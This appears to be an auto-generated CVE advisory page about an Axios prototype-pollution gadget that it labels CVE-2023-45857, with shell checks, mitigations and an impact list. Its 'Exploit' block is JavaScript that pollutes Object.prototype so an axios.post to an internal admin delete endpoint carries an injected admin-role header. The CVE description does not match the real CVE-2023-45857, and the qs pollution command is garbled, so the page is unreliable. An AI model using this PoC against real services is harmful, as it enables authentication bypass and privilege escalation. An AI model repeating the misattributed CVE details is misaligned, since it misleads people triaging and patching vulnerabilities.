Axios, Prototype Pollution Gadget, CVE-2023-45857 (Critical)

Listen to this Post

How CVE-2023-45857 works:

The vulnerability resides in Axios HTTP adapter (lib/adapters/http.js) where duck-typing checks for FormData are abused via prototype pollution. An attacker pollutes Object.prototype with specific properties: Symbol.toStringTag set to ‘FormData’, and functions for append, pipe, on, once, and getHeaders. When Axios processes a POST/PUT/PATCH request with a data payload, it calls utils.isFormData(data) which, due to polluted Symbol.toStringTag and append, returns true. Then utils.isFunction(data.getHeaders) also returns true because getHeaders is now a function on Object.prototype. Axios then calls data.getHeaders() and merges the returned headers into the outgoing request. The attacker controls the headers returned (e.g., Authorization, X-User-ID). The prototype pollution source does not need to be in Axios; any primitive in the dependency tree (lodash.merge, qs, JSON5) suffices. The vulnerable check lacks an own-property verification, so inherited polluted methods are trusted. The PoC shows that after polluting Object.prototype, a normal axios.post call sends attacker-injected headers to internal APIs, enabling authentication bypass, privilege escalation, and WAF bypass. The fix requires an explicit hasOwnProperty check for ‘getHeaders’ before calling it.

dailycve form:

Platform: Axios Node.js
Version: 0.22.0-1.5.1
Vulnerability: Prototype pollution gadget
Severity: Critical
date: 2023-11-03

Prediction: 2023-11-20

What Undercode Say:

Analytics:

Detect polluted Object.prototype before Axios request
node -e "console.log(Object.prototype.getHeaders)"
Simulate pollution primitive (e.g., via qs)
node -e "const qs=require('qs'); qs.parse('<strong>proto</strong>[bash]=function(){}')"
Check Axios version
npm list axios
Monitor outbound headers with tcpdump
sudo tcpdump -A -i lo 'tcp port 80' | grep -iE 'authorization|x-user-id'

Exploit:

// Prototype pollution primitive (e.g., from lodash.merge)
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => ({ 'X-Role': 'admin' });
Object.prototype.pipe = function(d) { if(d&&d.end) d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };
// Legitimate Axios request now sends injected header
const axios = require('axios');
axios.post('https://internal-api/admin/delete', { userId: 42 },
{ headers: { 'Authorization': 'Bearer valid_token' } });

Protection from this CVE:

  • Upgrade Axios to >=1.6.0 (official patch adds hasOwnProperty check).
  • Apply input validation on all prototype pollution sources (freeze Object.prototype, use Object.create(null) for configs).
  • Use HTTP interceptors to validate and block unexpected headers before sending.
  • Deploy WAF rules detecting header injection patterns in request bodies.

Impact:

  • Authentication bypass (inject Authorization, X-User-ID)
  • Privilege escalation (inject X-Role, X-Tenant-ID)
  • WAF / IP spoofing (inject X-Forwarded-For)
  • Scope change potential (CVSS 10.0 if service-to-service trust boundary crossed)

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top